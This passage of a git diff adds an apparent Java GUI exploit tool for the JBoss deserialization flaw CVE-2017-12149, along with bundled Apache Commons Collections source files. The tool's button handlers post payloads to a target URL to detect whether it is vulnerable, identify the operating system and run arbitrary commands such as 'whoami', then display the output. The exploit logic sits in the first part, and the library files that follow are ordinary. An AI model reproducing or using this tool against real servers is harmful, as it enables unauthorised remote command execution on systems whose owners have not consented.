info.setText("执行出现异常:"+e.toString()); + } + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + textArea.setText(""); + textArea.setText(result.trim().substring(9).trim()); + } + }); + btnNewButton.setBounds(454, 50, 102, 30); + + frmCveJboosAs.getContentPane().add(btnNewButton); + JButton btnNewButton_1 = new JButton("1.检测"); + btnNewButton_1.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent arg0) { + try { + String jboss_ip = server.getText(); + String command = cmd.getText(); + + Payload = payload.upload("windows"); + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + Payload = payload.upload("Linux"); + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + + Payload = payload.PayloadGeneration(command,"windows"); + result=doPost.DoPost(jboss_ip, Payload); + System.out.println(result); + if("".equals(result)) { + Payload = payload.PayloadGeneration(command,"linux"); + result=doPost.DoPost(jboss_ip, Payload); + } + + if("".equals(result.trim())){ + info.setText("漏洞不存在"); + return; + } + +// + try { + String res_os=result.trim().substring(0, 9); + + if (res_os.equals("[L291919]")){ + os="linux"; + info.setText("存在漏洞,系统是:linux"); + }else if(res_os.equals("[W291013]")){ + os="windows"; + info.setText("存在漏洞,系统是:windows"); + } + }catch(Exception e){ + textArea.setText(result); + info.setText("执行出现异常:"+e.toString()); + } + } catch (ClassNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (NoSuchMethodException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (InstantiationException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IllegalAccessException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IllegalArgumentException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (InvocationTargetException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (NoSuchFieldException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + }); + btnNewButton_1.setBounds(454, 15, 102, 27); + frmCveJboosAs.getContentPane().add(btnNewButton_1); + + server = new JTextField(); + server.setText("http://127.0.0.1:8080"); + server.setBounds(42, 13, 396, 30); + frmCveJboosAs.getContentPane().add(server); + server.setColumns(10); + + cmd = new JTextField(); + cmd.setText("whoami"); + cmd.setColumns(10); + cmd.setBounds(42, 49, 396, 30); + frmCveJboosAs.getContentPane().add(cmd); + + JLabel lblurl = new JLabel("目标:"); + lblurl.setBounds(10, 18, 102, 18); + frmCveJboosAs.getContentPane().add(lblurl); + + JLabel lblip = new JLabel("cmd:"); + lblip.setBounds(10, 55, 102, 18); + frmCveJboosAs.getContentPane().add(lblip); + + + + + + } +} diff --git a/jboss-_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java new file mode 100644 index 0000000..8071638 --- /dev/null +++ b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/ArrayStack.java @@ -0,0 +1,194 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.util.ArrayList; +import java.util.EmptyStackException; + +/** + * An implementation of the {@link java.util.Stack} API that is based on an + * ArrayList instead of a Vector, so it is not + * synchronized to protect against multi-threaded access. The implementation + * is therefore operates faster in environments where you do not need to + * worry about multiple thread contention. + *

+ * The removal order of an ArrayStack is based on insertion + * order: The most recently added element is removed first. The iteration + * order is not the same as the removal order. The iterator returns + * elements from the bottom up, whereas the {@link #remove()} method removes + * them from the top down. + *

+ * Unlike Stack, ArrayStack accepts null entries. + * + * @see java.util.Stack + * @since Commons Collections 1.0 + * @version $Revision: 1.17 $ $Date: 2004/02/18 01:15:42 $ + * + * @author Craig R. McClanahan + * @author Paul Jack + * @author Stephen Colebourne + */ +public class ArrayStack extends ArrayList implements Buffer { + + /** Ensure serialization compatibility */ + private static final long serialVersionUID = 2130079159931574599L; + + /** + * Constructs a new empty ArrayStack. The initial size + * is controlled by ArrayList and is currently 10. + */ + public ArrayStack() { + super(); + } + + /** + * Constructs a new empty ArrayStack with an initial size. + * + * @param initialSize the initial size to use + * @throws IllegalArgumentException if the specified initial size + * is negative + */ + public ArrayStack(int initialSize) { + super(initialSize); + } + + /** + * Return true if this stack is currently empty. + *

+ * This method exists for compatibility with java.util.Stack. + * New users of this class should use isEmpty instead. + * + * @return true if the stack is currently empty + */ + public boolean empty() { + return isEmpty(); + } + + /** + * Returns the top item off of this stack without removing it. + * + * @return the top item on the stack + * @throws EmptyStackException if the stack is empty + */ + public Object peek() throws EmptyStackException { + int n = size(); + if (n <= 0) { + throw new EmptyStackException(); + } else { + return get(n - 1); + } + } + + /** + * Returns the n'th item down (zero-relative) from the top of this + * stack without removing it. + * + * @param n the number of items down to go + * @return the n'th item on the stack, zero relative + * @throws EmptyStackException if there are not enough items on the + * stack to satisfy this request + */ + public Object peek(int n) throws EmptyStackException { + int m = (size() - n) - 1; + if (m < 0) { + throw new EmptyStackException(); + } else { + return get(m); + } + } + + /** + * Pops the top item off of this stack and return it. + * + * @return the top item on the stack + * @throws EmptyStackException if the stack is empty + */ + public Object pop() throws EmptyStackException { + int n = size(); + if (n <= 0) { + throw new EmptyStackException(); + } else { + return remove(n - 1); + } + } + + /** + * Pushes a new item onto the top of this stack. The pushed item is also + * returned. This is equivalent to calling add. + * + * @param item the item to be added + * @return the item just pushed + */ + public Object push(Object item) { + add(item); + return item; + } + + /** + * Returns the one-based position of the distance from the top that the + * specified object exists on this stack, where the top-most element is + * considered to be at distance 1. If the object is not + * present on the stack, return -1 instead. The + * equals() method is used to compare to the items + * in this stack. + * + * @param object the object to be searched for + * @return the 1-based depth into the stack of the object, or -1 if not found + */ + public int search(Object object) { + int i = size() - 1; // Current index + int n = 1; // Current distance + while (i >= 0) { + Object current = get(i); + if ((object == null && current == null) || + (object != null && object.equals(current))) { + return n; + } + i--; + n++; + } + return -1; + } + + /** + * Returns the element on the top of the stack. + * + * @return the element on the top of the stack + * @throws BufferUnderflowException if the stack is empty + */ + public Object get() { + int size = size(); + if (size == 0) { + throw new BufferUnderflowException(); + } + return get(size - 1); + } + + /** + * Removes the element on the top of the stack. + * + * @return the removed element + * @throws BufferUnderflowException if the stack is empty + */ + public Object remove() { + int size = size(); + if (size == 0) { + throw new BufferUnderflowException(); + } + return remove(size - 1); + } + +} diff --git a/jboss-_CVE-2017-12149/src/org/apache/commons/collections/Bag.java b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/Bag.java new file mode 100644 index 0000000..21c981a --- /dev/null +++ b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/Bag.java @@ -0,0 +1,221 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.util.Collection; +import java.util.Iterator; +import java.util.Set; + +/** + * Defines a collection that counts the number of times an object appears in + * the collection. + *

+ * Suppose you have a Bag that contains {a, a, b, c}. + * Calling {@link #getCount(Object)} on a would return 2, while + * calling {@link #uniqueSet()} would return {a, b, c}. + *

+ * NOTE: This interface violates the {@link Collection} contract. + * The behavior specified in many of these methods is not the same + * as the behavior specified by Collection. + * The noncompliant methods are clearly marked with "(Violation)". + * Exercise caution when using a bag as a Collection. + *

+ * This violation resulted from the original specification of this interface. + * In an ideal world, the interface would be changed to fix the problems, however + * it has been decided to maintain backwards compatibility instead. + * + * @since Commons Collections 2.0 + * @version $Revision: 1.18 $ $Date: 2004/05/03 15:12:20 $ + * + * @author Chuck Burdick + * @author Stephen Colebourne + */ +public interface Bag extends Collection { + + /** + * Returns the number of occurrences (cardinality) of the given + * object currently in the bag. If the object does not exist in the + * bag, return 0. + * + * @param object the object to search for + * @return the number of occurrences of the object, zero if not found + */ + int getCount(Object object); + + /** + * (Violation) + * Adds one copy the specified object to the Bag. + *

+ * If the object is already in the {@link #uniqueSet()} then increment its + * count as reported by {@link #getCount(Object)}. Otherwise add it to the + * {@link #uniqueSet()} and report its count as 1. + *

+ * Since this method always increases the size of the bag, + * according to the {@link Collection#add(Object)} contract, it + * should always return true. Since it sometimes returns + * false, this method violates the contract. + * + * @param object the object to add + * @return true if the object was not already in the uniqueSet + */ + boolean add(Object object); + + /** + * Adds nCopies copies of the specified object to the Bag. + *

+ * If the object is already in the {@link #uniqueSet()} then increment its + * count as reported by {@link #getCount(Object)}. Otherwise add it to the + * {@link #uniqueSet()} and report its count as nCopies. + * + * @param object the object to add + * @param nCopies the number of copies to add + * @return true if the object was not already in the uniqueSet + */ + boolean add(Object object, int nCopies); + + /** + * (Violation) + * Removes all occurrences of the given object from the bag. + *

+ * This will also remove the object from the {@link #uniqueSet()}. + *

+ * According to the {@link Collection#remove(Object)} method, + * this method should only remove the first occurrence of the + * given object, not all occurrences. + * + * @return true if this call changed the collection + */ + boolean remove(Object object); + + /** + * Removes nCopies copies of the specified object from the Bag. + *

+ * If the number of copies to remove is greater than the actual number of + * copies in the Bag, no error is thrown. + * + * @param object the object to remove + * @param nCopies the number of copies to remove + * @return true if this call changed the collection + */ + boolean remove(Object object, int nCopies); + + /** + * Returns a {@link Set} of unique elements in the Bag. + *

+ * Uniqueness constraints are the same as those in {@link java.util.Set}. + * + * @return the Set of unique Bag elements + */ + Set uniqueSet(); + + /** + * Returns the total number of items in the bag across all types. + * + * @return the total size of the Bag + */ + int size(); + + /** + * (Violation) + * Returns true if the bag contains all elements in + * the given collection, respecting cardinality. That is, if the + * given collection coll contains n copies + * of a given object, calling {@link #getCount(Object)} on that object must + * be >= n for all n in coll. + *

+ * The {@link Collection#containsAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * return true if the bag contains at least one of every object contained + * in the given collection. + * + * @param coll the collection to check against + * @return true if the Bag contains all the collection + */ + boolean containsAll(Collection coll); + + /** + * (Violation) + * Remove all elements represented in the given collection, + * respecting cardinality. That is, if the given collection + * coll contains n copies of a given object, + * the bag will have n fewer copies, assuming the bag + * had at least n copies to begin with. + * + *

The {@link Collection#removeAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * remove all occurrences of every object contained in the + * given collection. + * + * @param coll the collection to remove + * @return true if this call changed the collection + */ + boolean removeAll(Collection coll); + + /** + * (Violation) + * Remove any members of the bag that are not in the given + * collection, respecting cardinality. That is, if the given + * collection coll contains n copies of a + * given object and the bag has m > n copies, then + * delete m - n copies from the bag. In addition, if + * e is an object in the bag but + * !coll.contains(e), then remove e and any + * of its copies. + * + *

The {@link Collection#retainAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * keep all occurrences of every object contained in the + * given collection. + * + * @param coll the collection to retain + * @return true if this call changed the collection + */ + boolean retainAll(Collection coll); + + /** + * Returns an {@link Iterator} over the entire set of members, + * including copies due to cardinality. This iterator is fail-fast + * and will not tolerate concurrent modifications. + * + * @return iterator over all elements in the Bag + */ + Iterator iterator(); + + // The following is not part of the formal Bag interface, however where possible + // Bag implementations should follow these comments. +// /** +// * Compares this Bag to another. +// * This Bag equals another Bag if it contains the same number of occurrences of +// * the same elements. +// * This equals definition is compatible with the Set interface. +// * +// * @param obj the Bag to compare to +// * @return true if equal +// */ +// boolean equals(Object obj); +// +// /** +// * Gets a hash code for the Bag compatible with the definition of equals. +// * The hash code is defined as the sum total of a hash code for each element. +// * The per element hash code is defined as +// * (e==null ? 0 : e.hashCode()) ^ noOccurances). +// * This hash code definition is compatible with the Set interface. +// * +// * @return the hash code of the Bag +// */ +// int hashCode(); + +} diff --git a/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java new file mode 100644 index 0000000..c687baa --- /dev/null +++ b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BagUtils.java @@ -0,0 +1,243 @@ +/* + * Copyright 2002-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import org.apache.commons.collections.bag.HashBag; +import org.apache.commons.collections.bag.PredicatedBag; +import org.apache.commons.collections.bag.PredicatedSortedBag; +import org.apache.commons.collections.bag.SynchronizedBag; +import org.apache.commons.collections.bag.SynchronizedSortedBag; +import org.apache.commons.collections.bag.TransformedBag; +import org.apache.commons.collections.bag.TransformedSortedBag; +import org.apache.commons.collections.bag.TreeBag; +import org.apache.commons.collections.bag.TypedBag; +import org.apache.commons.collections.bag.TypedSortedBag; +import org.apache.commons.collections.bag.UnmodifiableBag; +import org.apache.commons.collections.bag.UnmodifiableSortedBag; + +/** + * Provides utility methods and decorators for + * {@link Bag} and {@link SortedBag} instances. + * + * @since Commons Collections 2.1 + * @version $Revision: 1.20 $ $Date: 2004/04/01 20:12:00 $ + * + * @author Paul Jack + * @author Stephen Colebourne + * @author Andrew Freeman + * @author Matthew Hawthorne + */ +public class BagUtils { + + /** + * An empty unmodifiable bag. + */ + public static final Bag EMPTY_BAG = UnmodifiableBag.decorate(new HashBag()); + + /** + * An empty unmodifiable sorted bag. + */ + public static final Bag EMPTY_SORTED_BAG = UnmodifiableSortedBag.decorate(new TreeBag()); + + /** + * Instantiation of BagUtils is not intended or required. + * However, some tools require an instance to operate. + */ + public BagUtils() { + } + + //----------------------------------------------------------------------- + /** + * Returns a synchronized (thread-safe) bag backed by the given bag. + * In order to guarantee serial access, it is critical that all + * access to the backing bag is accomplished through the returned bag. + *

+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *

+     * Bag bag = BagUtils.synchronizedBag(new HashBag());
+     * ...
+     * synchronized(bag) {
+     *     Iterator i = bag.iterator(); // Must be in synchronized block
+     *     while (i.hasNext())
+     *         foo(i.next());
+     *     }
+     * }
+     * 
+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag synchronizedBag(Bag bag) { + return SynchronizedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag unmodifiableBag(Bag bag) { + return UnmodifiableBag.decorate(bag); + } + + /** + * Returns a predicated (validating) bag backed by the given bag. + *

+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Predicate is null + */ + public static Bag predicatedBag(Bag bag, Predicate predicate) { + return PredicatedBag.decorate(bag, predicate); + } + + /** + * Returns a typed bag backed by the given bag. + *

+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static Bag typedBag(Bag bag, Class type) { + return TypedBag.decorate(bag, type); + } + + /** + * Returns a transformed bag backed by the given bag. + *

+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static Bag transformedBag(Bag bag, Transformer transformer) { + return TransformedBag.decorate(bag, transformer); + } + + //----------------------------------------------------------------------- + /** + * Returns a synchronized (thread-safe) sorted bag backed by the given + * sorted bag. + * In order to guarantee serial access, it is critical that all + * access to the backing bag is accomplished through the returned bag. + *

+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *

+     * SortedBag bag = BagUtils.synchronizedSortedBag(new TreeBag());
+     * ...
+     * synchronized(bag) {
+     *     Iterator i = bag.iterator(); // Must be in synchronized block
+     *     while (i.hasNext())
+     *         foo(i.next());
+     *     }
+     * }
+     * 
+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag synchronizedSortedBag(SortedBag bag) { + return SynchronizedSortedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given sorted bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag unmodifiableSortedBag(SortedBag bag) { + return UnmodifiableSortedBag.decorate(bag); + } + + /** + * Returns a predicated (validating) sorted bag backed by the given sorted bag. + *

+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the sorted bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the SortedBag or Predicate is null + */ + public static SortedBag predicatedSortedBag(SortedBag bag, Predicate predicate) { + return PredicatedSortedBag.decorate(bag, predicate); + } + + /** + * Returns a typed sorted bag backed by the given bag. + *

+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static SortedBag typedSortedBag(SortedBag bag, Class type) { + return TypedSortedBag.decorate(bag, type); + } + + /** + * Returns a transformed sorted bag backed by the given bag. + *

+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static SortedBag transformedSortedBag(SortedBag bag, Transformer transformer) { + return TransformedSortedBag.decorate(bag, transformer); + } + +} diff --git a/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java new file mode 100644 index 0000000..525d8ee --- /dev/null +++ b/jboss-_CVE-2017-12149/src/org/apache/commons/collections/BeanMap.java @@ -0,0 +1,799 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.beans.BeanInfo; +import java.beans.IntrospectionException; +import java.beans.Introspector; +import java.beans.PropertyDescriptor; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.AbstractMap; +import java.util.AbstractSet; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Set; + +import org.apache.commons.collections.list.UnmodifiableList; +import org.apache.commons.collections.keyvalue.AbstractMapEntry; +import org.apache.commons.collections.set.UnmodifiableSet; + +/** + * An implementation of Map for JavaBeans which uses introspection to + * get and put properties in the bean. + *

+ * If an exception occurs during attempts to get or set a property then the + * property is considered non existent in the Map + * + * @since Commons Collections 1.0 + * @version $Revision: 1.29 $ $Date: 2004/02/18 01:15:42 $ + * + * @author James Strachan + * @author Stephen Colebourne + */ +public class BeanMap extends AbstractMap implements Cloneable { + + private transient Object bean; + + private transient HashMap readMethods = new HashMap(); + private transient HashMap writeMethods = new HashMap(); + private transient HashMap types = new HashMap(); + + /** + * An empty array. Used to invoke accessors via reflection. + */ + public static final Object[] NULL_ARGUMENTS = {}; + + /** + * Maps primitive Class types to transformers. The transformer + * transform strings into the appropriate primitive wrapper. + */ + public static HashMap defaultTransformers = new HashMap(); + + static { + defaultTransformers.put( + Boolean.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Boolean.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Character.TYPE, + new Transformer() { + public Object transform( Object input ) { + return new Character( input.toString().charAt( 0 ) ); + } + } + ); + defaultTransformers.put( + Byte.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Byte.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Short.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Short.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Integer.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Integer.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Long.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Long.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Float.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Float.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Double.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Double.valueOf( input.toString() ); + } + } + ); + } + + + // Constructors + //------------------------------------------------------------------------- + + /** + * Constructs a new empty BeanMap. + */ + public BeanMap() { + } + + /** + * Constructs a new BeanMap that operates on the + * specified bean. If the given bean is null, then + * this map will be empty. + * + * @param bean the bean for this map to operate on + */ + public BeanMap(Object bean) { + this.bean = bean; + initialise(); + } + + // Map interface + //------------------------------------------------------------------------- + + public String toString() { + return "BeanMap<" + String.valueOf(bean) + ">"; + } + + /** + * Clone this bean map using the following process: + * + *